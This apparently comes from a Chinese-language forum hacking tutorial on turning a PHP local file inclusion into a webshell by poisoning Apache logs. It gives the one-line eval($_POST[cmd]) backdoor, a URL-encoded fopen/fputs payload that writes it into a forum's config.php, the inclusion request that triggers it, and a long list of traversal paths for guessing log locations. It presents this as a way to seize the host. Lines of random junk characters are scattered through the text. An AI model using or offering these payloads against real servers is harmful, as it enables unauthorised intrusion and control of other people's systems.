php包含apache日志写马

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因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
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5 B' c+ m# z- i4 J' b% t/ o; ?比如还是这句一句话木马
<?eval($_POST[cmd]);?>   
/ S# q) ^) f$ _' M
/ k- f# [1 l) l1 ^+ {到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

. V6 [6 G3 i3 C5 e0 K<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
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  j& z4 @6 l9 D, |! w% N4 Z我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
% k* D' a" N3 Q5 D4 d& ?' u转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
+ ]! b( N8 O! z' C* @config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
) ~' a$ R1 W/ S$ v" _- g; j%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
& H* S% ?* z& n0 T9 ffclose%28%24fp%29%3B%3F%3E
( y# ^, G4 _; j/ T9 F我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
$ J6 |% v1 b/ _' h' X%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
* i: V2 A# q# Xcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

$ X6 }% o, d! D' i这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
" S' |  h! C, G. v8 dhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样webshell就写入成功了，config.php里就写入一句木马语句
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+ p4 l/ r; k  c2 g  K1 Mhttp://www.xxx.com/forum/config.php这个就成了我们的webshell
% @4 \" N0 z+ M$ G直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
, }$ a, r) C0 ^, {! t2 }! Z! r% S& v../../../../../../../../../../var/log/httpd/access_log
# A/ i6 D1 i7 w+ n../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
. D7 u3 z8 N' G5 S1 |, H../apache/logs/access.log
../../apache/logs/error.log
' x3 b1 m: M/ R4 E& H( a../../apache/logs/access.log
../../../apache/logs/error.log
0 a' ]* r$ r- u& d5 {../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
, @( N% [$ y: O" [% l../../../../../../../../../../usr/local/apache/logs/access_log
. [4 M9 d% R) }' j* v& R/ r% C$ o  f../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
, V0 X$ J" Z' r' c. ~3 a../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
" M* @6 H% ^, M5 |../../../../../../../../../../var/www/logs/error_log
3 q; I! ?; G" Z/ l7 j( U../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
7 {% Y" K" @* J- X- _../../../../../../../../../../usr/local/apache/logs/error.log
: l+ C' ]7 e8 J! F9 w../../../../../../../../../../var/log/apache/error_log
9 h4 b# w/ |, ]3 E' O. Z3 C../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
4 R  t( ?' D1 w! i' z../apache/logs/error.log     
../apache/logs/access.log
../../apache/logs/error.log
$ [# I+ x% b7 p% Y  H+ P+ J8 a. t../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
2 d, z3 d* [9 `5 L9 J" L/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
, A: i" d( D/ x/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
5 G! x" w; o9 o9 p2 u7 b/usr/local/apache/logs/access.log
' W# f# Q* t& w* d* E  i$ p/var/log/apache/access_log
( g: Z( E. z. |& v3 ~/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
% d0 O; X: Q) n- l! z+ T5 K/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
: Y6 R1 G( C0 d' L' ]/var/log/apache/error.log
" A3 T9 g/ q$ x" W# m: L5 X/ j/var/log/access_log
! L5 Y) f% Y" V/ r/var/log/error_log